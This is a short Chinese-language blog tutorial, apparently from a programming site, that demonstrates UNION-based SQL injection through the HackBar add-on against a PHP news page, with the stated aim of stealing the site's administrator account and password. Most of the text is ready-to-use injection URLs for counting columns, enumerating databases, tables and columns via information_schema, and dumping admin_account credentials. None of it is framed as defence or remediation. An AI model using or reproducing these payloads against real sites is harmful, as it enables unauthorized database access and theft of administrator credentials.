1. 程式人生 > >利用hackbar進行sql注入簡單例項

利用hackbar進行sql注入簡單例項

這個簡單的例項是對一個網址進行sql注入,獲得管理員的賬號和密碼

步驟如下:
(1)先猜解當前網頁的欄位數
在hackbar的輸入框中輸入:
http://www.xxx/news_detail.php?id=186 order by 7
頁面顯示正常,輸入
http://www.xxx/news_detail.php?id=186 order by 8
頁面報錯,說明欄位數為7.

(2)獲取資料庫的基本資訊
輸入
http://www.xxx/news_detail.php?id=186 union select 1,2,3,4,5,6,7
注意看頁面顯示的數字的位置,當我們對那個數字位置進行函式替換的時候才知道那個位置的資訊是什麼,比如頁面顯示是“使用者名稱:1”那麼當執行
http://www.xxx/news_detail.php?id=186 union select database(),2,3,4,5,6,7


時,頁面顯示是“使用者名稱:admin_db”那麼這個admin_db就是database()的值。
現在想要獲得當前資料庫,使用者名稱和所有資料庫,執行
http://www.xxx/news_detail.php?id=186 union select 1,database(),concat(user()),group_concat(distinct+ table_schema,0x20),5,6,7
+from information_schema.tables

得到database()值為test_db,user()值為admin,所有的庫為:text_db,text2_db,text3_db,information_schema

(3)根據資料庫爆全部的資料表
http://www.xxx/news_detail.php?id=186 union select 1,database(),3,group_concat(distinct+table_name,0x20),5,6,7
+from information_schema.tables where table_schema=database()

會得到很多表
看到其中有一個叫admin_account的表,猜測這個應該就是儲存管理員資訊的表

(4)根據表爆欄位
http://www.xxx/news_detail.php?id=186 union select 1,database(),3,group_concat(distinct+column_name,0x20),5,6,7
+from information_schema.columns where table_name=0x61646d696e5f6163636f756e74


這裡admin_acccount的hex值是0x61646d696e5f6163636f756e74
主意把要爆的表名轉化為16進位制,可以在http://www.newjson.com/change/hex2str/這個網站輸入表名字串進行轉化。
得到幾個欄位,可以看到其中包括id,username,password

(5)最後就是根據欄位爆出欄位資料
http://www.xxx/news_detail.php?id=186 union select 1,database(),3,group_concat(distinct+id,0x2b,username,0x2b,password,0x2b),
5,6,7 +from admin_account

可以得到好幾條資料
這裡寫圖片描述
從中可以知道管理員的資訊
不過得到的密碼是加密過的,需要解密